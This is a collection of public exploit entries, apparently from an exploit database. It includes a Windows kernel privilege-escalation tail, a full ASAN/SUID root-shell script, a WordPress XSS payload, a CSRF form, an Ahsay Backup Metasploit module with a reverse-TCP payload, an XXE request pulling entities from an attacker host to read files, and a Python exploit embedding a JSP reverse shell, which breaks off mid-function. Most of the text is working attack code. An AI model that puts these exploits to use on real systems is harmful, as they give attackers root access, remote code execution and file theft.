	if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
		&MemAddr,
		0,
		&MemSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE)) || MemAddr != NULL)
	{
		std::cout << "[-]Memory alloc failed!" << std::endl;
		return 1;
	}
	ZeroMemory(MemAddr, MemSize);

	/* Getting the tagWND of the hWindowHunt */
	PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
	printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf);

	/* Creating a fake POPUPMENU structure */
	DWORD dwPopupFake[0x100] = { 0 };
	dwPopupFake[0x0] = (DWORD)0x1; //->flags
	dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
	dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
	dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
	dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
	dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
	dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
	dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup
	dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot
	dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
	dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem
	dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
	dwPopupFake[0xC] = (DWORD)0;

	/* Copying it to the NULL page */
	RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);

	/* Allowing to access the NULL page mapped values */
	release = 1;
	hwndMenuList[2] = NULL;
	TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL);
	
	/* Freeing the allocated NULL memory */
	VirtualFree(MemAddr, 0x1000, 0);

	SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11);

	if (success)
	{
		STARTUPINFO si = { sizeof(si) };
		PROCESS_INFORMATION pi = { 0 };
		si.dwFlags = STARTF_USESHOWWINDOW;
		si.wShowWindow = SW_SHOW;
		printf("Getting the shell now...\n");
		BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
		if (bRet)
		{
			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);
		}
	}

	DestroyWindow(hWindowMain);

	MSG msg = { 0 };
	while (GetMessageW(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessageW(&msg);
	}
	return 0;
}
            
#!/bin/bash
# unsanitary.sh - ASAN/SUID Local Root Exploit
# Exploits er, unsanitized env var passing in ASAN
# which leads to file clobbering as root when executing
# setuid root binaries compiled with ASAN.
# Uses an overwrite of /etc/ld.so.preload to get root on
# a vulnerable system. Supply your own target binary to
# use for exploitation.
# Implements the bug found here: http://seclists.org/oss-sec/2016/q1/363
# Video of Exploitation: https://www.youtube.com/watch?v=jhSIm3auQMk
# Released under the Snitches Get Stitches Public Licence.
# Gr33tz to everyone in #lizardhq and elsewhere <3
# ~infodox (18/02/2016)
# FREE LAURI LOVE!
# ---
# Original exploit: https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e
# Updated by <bcoles@gmail.com>
# - fixed some issues with reliability
# - replaced symlink spraying python code with C implementation
# https://github.com/bcoles/local-exploits/tree/master/asan-suid-root
# ---
# user@linux-mint-19-2:~/Desktop$ file /usr/bin/a.out 
# /usr/bin/a.out: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f9f85a5b58074eacd5b01eae970320ed22984932, stripped
#
# user@linux-mint-19-2:~/Desktop$ ldd /usr/bin/a.out | grep libasan
# 	libasan.so.4 => /usr/lib/x86_64-linux-gnu/libasan.so.4 (0x00007f028d427000)
#
# user@linux-mint-19-2:~/Desktop$ objdump -x /usr/bin/a.out | grep libasan
#   NEEDED               libasan.so.4
#
# user@linux-mint-19-2:~/Desktop$ ASAN_OPTIONS=help=1 /usr/bin/a.out 2>&1 | grep 'flags for AddressSanitizer'
# Available flags for AddressSanitizer:
#
# user@linux-mint-19-2:~/Desktop$ ./unsanitary.sh /usr/bin/a.out
# Unsanitary - ASAN/SUID Local Root Exploit ~infodox (2016)
# [+] /usr/bin/a.out was compiled with libasan
# [.] Compiling /tmp/.libhax.c ...
# [.] Compiling /tmp/.rootshell.c ...
# [.] Compiling /tmp/.spray.c ...
# [.] Spraying /home/user/Desktop with symlinks ...
# [.] Adding /tmp/.libhax.so to /etc/ld.so.preload ...
# ./unsanitary.sh: line 135: 30663 Aborted                 (core dumped) ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "${target}" > /dev/null 2>&1
# [.] Cleaning up...
# [+] Success:
# -rwsr-xr-x 1 root root 8384 Jan 12 14:21 /tmp/.rootshell
# [.] Launching root shell: /tmp/.rootshell
# root@linux-mint-19-2:~/Desktop# id
# uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),128(sambashare),1000(user)
# root@linux-mint-19-2:~/Desktop#
# ---

rootshell="/tmp/.rootshell"
lib="/tmp/.libhax"
spray="/tmp/.spray"

target="${1}"
log_prefix="$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1)___"
spray_size=100

command_exists() {
  command -v "${1}" >/dev/null 2>/dev/null
}

echo "Unsanitary - ASAN/SUID Local Root Exploit ~infodox (2016)"

if [[ $# -eq 0 ]] ; then
    echo "use: $0 /full/path/to/targetbin"
    echo "where targetbin is setuid root and compiled w/ ASAN"
    exit 0
fi

if ! command_exists gcc; then
  echo '[-] gcc is not installed'
  exit 1
fi

if ! test -w .; then
  echo '[-] working directory is not writable'
  exit 1
fi

if ! test -u "${target}"; then
  echo "[-] ${target} is not setuid"
  exit 1
fi

if [[ $(/usr/bin/ldd "${target}") =~ "libasan.so" ]]; then
  echo "[+] ${target} was compiled with libasan"
else
  echo "[!] Warning: ${target} appears to have been compiled without libasan"
fi

echo "[.] Compiling ${lib}.c ..."

cat << EOF > "${lib}.c"
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void init(void) __attribute__((constructor));

void __attribute__((constructor)) init() {
  if (setuid(0) || setgid(0))
    _exit(1);

  unlink("/etc/ld.so.preload");

  chown("${rootshell}", 0, 0);
  chmod("${rootshell}", 04755);
  _exit(0);
}
EOF

if ! gcc "${lib}.c" -fPIC -shared -ldl -o "${lib}.so"; then
  echo "[-] Compiling ${lib}.c failed"
  exit 1
fi
/bin/rm -f "${lib}.c"

echo "[.] Compiling ${rootshell}.c ..."

cat << EOF > "${rootshell}.c"
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
  setuid(0);
  setgid(0);
  execl("/bin/bash", "bash", NULL);
}
EOF

if ! gcc "${rootshell}.c" -o "${rootshell}"; then
  echo "[-] Compiling ${rootshell}.c failed"
  exit 1
fi
/bin/rm -f "${rootshell}.c"

echo "[.] Compiling ${spray}.c ..."

cat << EOF > "${spray}.c"
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
  pid_t pid = getpid();
  char buf[64];
  for (int i=0; i<=${spray_size}; i++) {
    snprintf(buf, sizeof(buf), "${log_prefix}.%ld", (long)pid+i);
    symlink("/etc/ld.so.preload", buf);
  }
}
EOF

if ! gcc "${spray}.c" -o "${spray}"; then
  echo "[-] Compiling ${spray}.c failed"
  exit 1
fi
/bin/rm -f "${spray}.c"

echo "[.] Spraying $(pwd) with symlinks ..."

/bin/rm $log_prefix* >/dev/null 2>&1
$spray

echo "[.] Adding ${lib}.so to /etc/ld.so.preload ..."

ASAN_OPTIONS="disable_coredump=1 suppressions='/${log_prefix}
${lib}.so
' log_path=./${log_prefix} verbosity=0" "${target}" >/dev/null 2>&1

ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "${target}" >/dev/null 2>&1

echo '[.] Cleaning up...'
/bin/rm $log_prefix*
/bin/rm -f "${spray}"
/bin/rm -f "${lib}.so"

if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la "${rootshell}"

echo "[.] Launching root shell: ${rootshell}"
$rootshell
            
# Exploit Title: pdfresurrect 0.15 Buffer Overflow
# Date: 2019-07-26
# Exploit Author: j0lama
# Vendor Homepage: https://github.com/enferex/pdfresurrect
# Software Link: https://github.com/enferex/pdfresurrect
# Version: 0.15
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-14267

Description
===========

PDFResurrect 0.15 has a buffer overflow via a crafted PDF file because
data associated with startxref and %%EOF is mishandled.


Additional Information
======================

There is a buffer overflow in pdfresurrect 0.14 caused by a malicious
 crafted pdf file.

In function pdf_load_xrefs at pdf.c file, it counts how many times the
strings '%%EOF' appear in the pdf file. Then for each xref the code
starts to rewind incrementing the pos_count variable until found a 'f'
character (the last character of the 'startxref' string). Then these
bytes between the 'f' and '%%EOF' will be read with the 'fread'
function and copied to a 256 char buffer. The 'pos_count' variable
tells 'freads' how many bytes has to copy. If malicious user crafted a
pdf file with more that 256 bytes between '%%EOF' and the immediately
previous 'f' then a buffer overflow will occur overwriting everything
after the 'buf' buffer.

In the code:
int pdf_load_xrefs(FILE *fp, pdf_t *pdf)
{
    int  i, ver, is_linear;
    long pos, pos_count;
    char x, *c, buf[256];

    c = NULL;

    /* Count number of xrefs */
    pdf->n_xrefs = 0;
    fseek(fp, 0, SEEK_SET);
    while (get_next_eof(fp) >= 0)
      ++pdf->n_xrefs;

    if (!pdf->n_xrefs)
      return 0;

    /* Load in the start/end positions */
    fseek(fp, 0, SEEK_SET);
    pdf->xrefs = calloc(1, sizeof(xref_t) * pdf->n_xrefs);
    ver = 1;
    for (i=0; i<pdf->n_xrefs; i++)
    {
        /* Seek to %%EOF */
        if ((pos = get_next_eof(fp)) < 0)
          break;

        /* Set and increment the version */
        pdf->xrefs[i].version = ver++;

        /* Rewind until we find end of "startxref" */
        pos_count = 0;
        while (SAFE_F(fp, ((x = fgetc(fp)) != 'f'))) <== The loop will continue incrementing pos_count until find a 'f' char
          fseek(fp, pos - (++pos_count), SEEK_SET);

        /* Suck in end of "startxref" to start of %%EOF */
        memset(buf, 0, sizeof(buf));
        SAFE_E(fread(buf, 1, pos_count, fp), pos_count, <== If pos_count > 256 then a buffer overflow occur
               "Failed to read startxref.\n");
        c = buf;
        while (*c == ' ' || *c == '\n' || *c == '\r')
          ++c;

        /* xref start position */
        pdf->xrefs[i].start = atol(c);

This is a crafted PDF that produces a buffer overflow: 

http://www.mediafire.com/file/3540cyrl7o8p1rq/example_error.pdf/file
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47178.zip
            
# Exploit Title: Real Estate 7 - Real Estate WordPress Theme v2.8.9
Persistent XSS Injection
# Google Dork: inurl:"/wp-content/themes/realestate-7/"
# Date: 2019/07/20
# Author: m0ze
# Vendor Homepage: https://contempothemes.com
# Software Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778
# Version: <= 2.8.9
# Tested on: NginX
# CVE: -
# CWE: CWE-79

Details & Description:
The «Real Estate 7» premium WordPress theme is vulnerable to persistent XSS
injection that allows an attacker to inject JavaScript or HTML code into
the website front-end.

Special Note:
- 7.151 Sales
- If pre moderation is enabled, then u have a huge chance to steal an admin
or moderator cookies.
- U can edit any existed listing on the website by changing the unique ID
-> https://site.com/edit-listing/?listings=XXX (where XXX is WordPress post
ID, u can find it inside <body> tag class).

PoC [Persistent XSS Injection]:
First of all, register a new account as a seller or agent, log in and
choose free membership package @ the dashboard. After that u'll be able to
submit a new listing -> https://site.com/submit-listing/
For persistent XSS injection u need to add ur payload inside the «Vitrual
Tour Embed» text area (on the «DETAILS» step) and then press «Submit»
button.
Example: <img src="x" onerror="(alert)(`m0ze`)">
            
# Exploit Title: Cross Site Request Forgery in Wordpress Simple Membership plugin
# Date: 2019-07-27
# Exploit Author: rubyman
# Vendor Homepage: https://wordpress.org/plugins/simple-membership/
# wpvulndb : https://wpvulndb.com/vulnerabilities/9482
# Version: 3.8.4
# Tested on: Windows 8.1
# CVE : CVE-2019-14328

#
# Change localhost to your desired host
#

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wordpress/wp-admin/admin.php?page=simple_wp_membership&member_action=bulk" method="POST">
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;from" value="2" />
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;to" value="3" />
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;process" value="Bulk&#32;Change&#32;Membership&#32;Level" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (Metasploit)
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50 (REQUIRED)
# Tested on: Windows / Linux
# CVE : CVE-2019-10267
 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include REXML
 
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',
      'Description' => %q{
       This module exploits an authenticated insecure file upload and code
       execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute
       the upload credentials are needed, default on Ahsay Backup trial
       accounts are enabled so an account can be created.
 
       It can be exploited in Windows and Linux environments to get remote code
       execution (usualy as SYSTEM). This module has been tested successfully
       on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this
       flaw all connected clients can be configured to execute a command before
       the backup starts. Allowing an attacker to takeover even more systems
       and make it rain shells!
 
       Setting the CREATEACCOUNT to true will create a new account, this is
       enabled by default.
       If credeantials are known enter these and run the exploit.
      },
      'Author'       =>
        [
          'Wietse Boonstra'
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2019-10267'],
          [ 'URL', 'https://www.wbsec.nl/ahsay/' ],
          [ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]
        ],
      'Privileged'  => true,
      'Platform'    => 'win',
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true,
        'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
      },
      'Targets'     =>
        [
          [  'Windows x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [ 'Linux x86', # should work but untested
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
 
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 1 2019'))
 
    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),
        OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),
        OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]),
        OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),
        OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),
 
      ])
  end
 
  def is_trial_enabled?
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'),
      'method' => 'POST',
      'data'   => ''
    })
    if res and res.code == 200 and "ENABLED" =~ /#{res.body}/
      return true
    else
      return false
    end
  end
 
  def check_account?
    headers = create_request_headers
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'),
      'method' => 'POST',
      'data'   => '',
      'headers' => headers
    })
    if res and res.code == 200
      print_good("Username and password are valid!")
      return true
    elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/
      # fail_with(Failure::NoAccess, 'Username incorrect!')
      print_status("Username does not exist.")
      return false
    elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/
      # fail_with(Failure::NoAccess, 'Username exists but password incorrect!')
      print_status("Username exists but password incorrect!")
      return false
    else
      return false
    end
  end
 
  def create_request_headers
    headers = {}
    username = Rex::Text.encode_base64(datastore['USERNAME'])
    password = Rex::Text.encode_base64(datastore['PASSWORD'])
    headers['X-RSW-custom-encode-username'] = username
    headers['X-RSW-custom-encode-password'] = password
    headers
  end
 
  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
 
    if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true"
      if username == "" or password == ""
        fail_with(Failure::NoAccess, 'Please set a username and password')
      else
        #check if account does not exists?
        if !check_account?
          # Create account and check if it is valid
          if create_account?
            drop_and_execute()
          else
            fail_with(Failure::NoAccess, 'Failed to authenticate')
          end
        else
          #Need to fix, check if account exist
          print_good("No need to create account, already exists!")
          drop_and_execute()
        end
      end
    elsif username != "" and password != ""
      if check_account?
        drop_and_execute()
      else
        if is_trial_enabled?
          fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!')
        end
        fail_with(Failure::NoAccess, 'Username and password are invalid')
      end
    else
      fail_with(Failure::UnexpectedReply, 'Missing some settings')
    end
  end
 
  def create_account?
    headers = create_request_headers
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','addTrialUser'),
      'method' => 'POST',
      'data'   => '',
      'headers' => headers
    })
    # print (res.body)
    if res and res.code == 200
      print_good("Account created")
      return true
    elsif res.body.include?('LOGIN_NAME_IS_USED')
      fail_with(Failure::NoAccess, 'Username is in use!')
    elsif res.body.include?('PWD_COMPLEXITY_FAILURE')
      fail_with(Failure::NoAccess, 'Password not complex enough')
    else
      fail_with(Failure::UnexpectedReply, 'Something went wrong!')
    end
  end
 
  def remove_account
    if datastore['CREATEACCOUNT']
      username = datastore['USERNAME']
      users_xml = "../../conf/users.xml"
      print_status("Looking for account #{username} in #{users_xml}")
      xml_doc = download(users_xml)
      xmldoc = Document.new(xml_doc)
      el = 0
      xmldoc.elements.each("Setting/Key") do |e|
          el = el + 1
          e.elements.each("Value") do |a|
              if a.attributes["name"].include?('name')
                  if a.attributes["data"].include?(username)
                      print_good("Found account")
                      xmldoc.root.elements.delete el
                      print_status("Removed account")
                  end
              end
          end
      end
      new_xml = xmldoc.root
      print_status("Uploading new #{users_xml} file")
      upload(users_xml, new_xml.to_s)
      print_good("Account is inaccesible when service restarts!")
    end
  end
 
  def prepare_path(path)
    if path.end_with? '/'
      path = path.chomp('/')
    end
    path
  end
 
  def drop_and_execute()
    path = prepare_path(datastore['UPLOADPATH'])
    exploitpath = path.gsub("../../webapps/cbs/",'')
    exploitpath = exploitpath.gsub("/","\\\\\\")
    requestpath = path.gsub("../../webapps/",'')
 
    #First stage payload creation and upload
    exe = payload.encoded_exe
    exe_filename = Rex::Text.rand_text_alpha(10)
    exefileLocation = "#{path}/#{exe_filename}.exe"
    print_status("Uploading first stage payload.")
    upload(exefileLocation, exe)
    #../../webapps/cbs/help/en
    exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>}
 
    #Second stage payload creation and upload
    jsp_filename = Rex::Text.rand_text_alpha(10)
    jspfileLocation = "#{path}/#{jsp_filename}.jsp"
    print_status("Uploading second stage payload.")
    upload(jspfileLocation, exec)
    proto = ssl ? 'https' : 'http'
    url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp")
 
    #Triggering the exploit
    print_status("Triggering exploit! #{url}" )
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"),
      'method' => 'GET'
    })
    if res and res.code == 200
      print_good("Exploit executed!")
    end
 
    #Cleaning up
    print_status("Cleaning up after our selfs.")
    remove_account
    print_status("Trying to remove #{exefileLocation}, but will fail when in use.")
    delete(exefileLocation)
    delete(jspfileLocation)
    delete("../../user/#{datastore['USERNAME']}",true)
  end
 
  def upload(fileLocation, content)
    username = Rex::Text.encode_base64(datastore['USERNAME'])
    password = Rex::Text.encode_base64(datastore['PASSWORD'])
    uploadPath = Rex::Text.encode_base64(fileLocation)
 
    headers = {}
    headers['X-RSW-Request-0'] = username
    headers['X-RSW-Request-1'] = password
    headers['X-RSW-custom-encode-path'] = uploadPath
    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','upload'),
      'method' => 'PUT',
      'headers' => headers,
      'data' => content,
      'timeout' => 20
    })
    if res && res.code == 201
      print_good("Succesfully uploaded file to #{fileLocation}")
    else
      fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
    end
  end
 
  def download(fileLocation)
    #TODO make vars_get variable
    print_status("Downloading file")
    username = Rex::Text.encode_base64(datastore['USERNAME'])
    password = Rex::Text.encode_base64(datastore['PASSWORD'])
    headers = {}
    headers['X-RSW-Request-0'] = username
    headers['X-RSW-Request-1'] = password
    res = send_request_cgi({
      #/obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml
      'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','download'),
      'method' => 'GET',
      'headers' => headers,
      'vars_get' => {
        'X-RSW-custom-encode-path' => fileLocation
      }
    })
 
    if res and res.code == 200
      res.body
    end
  end
 
  def delete(fileLocation, recursive=false)
    print_status("Deleting file #{fileLocation}")
    username = Rex::Text.encode_base64(datastore['USERNAME'])
    password = Rex::Text.encode_base64(datastore['PASSWORD'])
    headers = {}
    headers['X-RSW-Request-0'] = username
    headers['X-RSW-Request-1'] = password
    res = send_request_cgi({
      #/obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz
      'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','delete'),
      'method' => 'DELETE',
      'headers' => headers,
      'vars_get' => {
        'X-RSW-custom-encode-path' => fileLocation,
        'recursive' => recursive
      }
    })
 
    if res and res.code == 200
      res.body
    end
  end
 
  def check
    #We need a cookie first
    cookie_res = send_request_cgi({
      #/cbs/system/ShowDownload.do
      'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'),
      'method' => 'GET'
    })
 
    if cookie_res and cookie_res.code == 200
      cookie = cookie_res.get_cookies.split()[0]
    else
      return Exploit::CheckCode::Unknown
    end
 
    if defined?(cookie)
      #request the page with all the clientside software links.
      headers = {}
      headers['Cookie'] = cookie
      link = send_request_cgi({
        #/cbs/system/ShowDownload.do
        'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'),
        'method' => 'GET',
        'headers' => headers
      })
 
      if link and link.code == 200
        link.body.each_line do |line|
          #looking for the link that contains obm-linux and ends with .sh
          if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux'
            filename = line.split("<a")[1].split('"')[1].split("?")[0]
            filecontent = send_request_cgi({
              #/cbs/system/ShowDownload.do
              'uri' => normalize_uri(target_uri.path, filename),
              'method' => 'GET',
              'headers' => headers
            })
            if filecontent and filecontent.code == 200
              filecontent.body.each_line do |l|
                if l.include? 'VERSION="'
                  number = l.split("=")[1].split('"')[1]
                  if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/
                    if number <= '8.1.1.50' and not number < '7'
                      return Exploit::CheckCode::Appears
                    else
                      return Exploit::CheckCode::Safe
                    end
                  end
                end
              end
            else
              return Exploit::CheckCode::Unknown
            end
          end
        end
      else
        return Exploit::CheckCode::Unknown
      end
    else
      return Exploit::CheckCode::Unknown
    end
 
  end
end
            
# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50. 
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe
# Version: 7.x < 8.1.0.50
# Tested on: Windows / Linux
# CVE : CVE-2019-10266

#Ahsay is vulnerable to a OOB Unauthenticated XML External Entity
#More info https://www.wbsec.nl/ahsay/#CVE-2019-10263

Sending the following POST request will trigger the XXE:

POST /obs/obm8/user/setUserProfile HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 126
Host: 172.16.238.213:80
        
<?xml version="1.0"?>
 <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>

On http://attacker/oob add the following content:

<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY &#37;
        trick SYSTEM 'file://:%payl;/%payl;'>">

Here it is possible to change file:///c:/ to any directory/file or internal host.
            
# Exploit Title: Ahsay Backup 8.1.1.50 - Insecure File Upload and Code Execution (Authenticated)
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50 
# Tested on: Windows / Linux
# CVE : CVE-2019-10267

# Session cookies are reflected in the JavaScript url: 

#!/usr/bin/env python3

import urllib3
import argparse
import base64
import re
import socket
from urllib.parse import urlencode
import gzip
import json
import hashlib

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def b64(s):
    try:
        return base64.b64encode(bytes(s, 'utf-8')).decode('utf-8')
    except:
        return base64.b64encode(bytes("", 'utf-8')).decode('utf-8')
     
def md5Sum(buf):
    hasher = hashlib.md5()
    hasher.update(buf)
    a = hasher.hexdigest()
    return a

class Exploit():
    def __init__(self, url, username="", password="", proxy="" ):
        self.url = url
        self.username = username
        self.password = password
        self.accountValid = None
        if proxy:
            self.http = urllib3.ProxyManager(proxy)
        else:
            self.http = urllib3.PoolManager()
        
    def fileActions(self, path="../../../../../../", action='list', recurse=False):
        """
        actions: download, list, delete, (upload  different function use self.upload)
        """
        try:
            if not self.checkAccount(self.username,self.password):
                return False
            if recurse:
                recurse = "true"
            else:
                recurse = "false"
            
            headers={
                'X-RSW-Request-1':	'{}'.format(b64(self.password)),
                'X-RSW-Request-0':	'{}'.format(b64(self.username))
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
                
            path = {
                'X-RSW-custom-encode-path':'{}'.format(path),
                'recursive':'{}'.format(recurse)
                }
            path = urlencode(path)
            if action == "delete":
                r = self.http.request('DELETE', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)
            else:
                r = self.http.request('GET', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)
            if (r.status == 200):
                if (action == 'list'):
                    result = json.loads(gzip.decompress(r.data))
                    dash = '-' * 50
                    print(dash)
                    print('{:<11}{:<16}{:<20}'.format("Type", "Size","Name"))
                    print(dash)
                    for item in result["children"]:
                        print('{:<11}{:<16}{:<20}'.format(item['fsoType'], item['size'],item['name']))
                    print(dash) 
                else:
                    if action == "delete":
                        print ("File has been deleted")
                    else:
                        return (r.data.decode('utf-8'))
            else:
                print ("Something went wrong!")
                print (r.data)
                print (r.status)
        except Exception as e:
            print (e)
            pass

    def exploit(self, ip, port, uploadPath="../../webapps/cbs/help/en/", reverseShellFileName="test.jsp" ):
        """
        This function will setup the jsp reverse shell
        """
        if not self.checkAccount(self.username, self.password):
            return False

        reverseShell = '''<%@page import="java.lang.*"%>
            <%@page import="java.util.*"%>
            <%@page import="java.io.*"%>
            <%@page import="java.net.*"%>

            <%
            class StreamConnector extends Thread
            {{
                InputStream az;
                OutputStream jk;

                StreamConnector( InputStream az, OutputStream jk )
                {{
                this.az = az;
                this.jk = jk;
                }}

                public void run()
                {{
                BufferedReader vo  = null;
                BufferedWriter ijb = null;
                try
                {{
                    vo  = new BufferedReader( new InputStreamReader( this.az ) );
                    ijb = new BufferedWriter( new OutputStreamWriter( this.jk ) );
                    char buffer[] = new char[8192];
                    int length;
                    while( ( length = vo.read( buffer, 0, buffer.length ) ) > 0 )
                    {{
                    ijb.write( buffer, 0, length );
                    ijb.flush();
                    }}
                }} catch( Exception e ){{}}
                try
                {{
                    if( vo != null )
                    vo.close();
                    if( ijb != null )
                    ijb.close();
                }} catch( Exception e ){{}}
                }}
            }}

            try
            {{
                String ShellPath;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {{
            ShellPath = new String("/bin/sh");
            }} else {{
            ShellPath = new String("cmd.exe");
            }}

                Socket socket = new Socket( "{0}", {1} );
                Process process = Runtime.getRuntime().exec( ShellPath );
                ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
                ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
            }} catch( Exception e ) {{}}
            %>'''.format(str(ip), str(port))

        try:
            if (uploadPath == "../../webapps/cbs/help/en/"):
                callUrl = "{}/{}{}".format(self.url,re.sub("^../../webapps/",'',uploadPath),reverseShellFileName)
            exploitUrl = "{}{}".format(uploadPath,reverseShellFileName)
            print (exploitUrl)
            self.upload(exploitUrl, reverseShell)
            print ("Checking if file is uploaded.")
            
            if (md5Sum(self.fileActions(exploitUrl,'download').encode('utf-8')) == md5Sum(reverseShell.encode('utf-8'))):
                print ("File content is the same, upload OK!")
                print ("Triggering {}".format(callUrl))
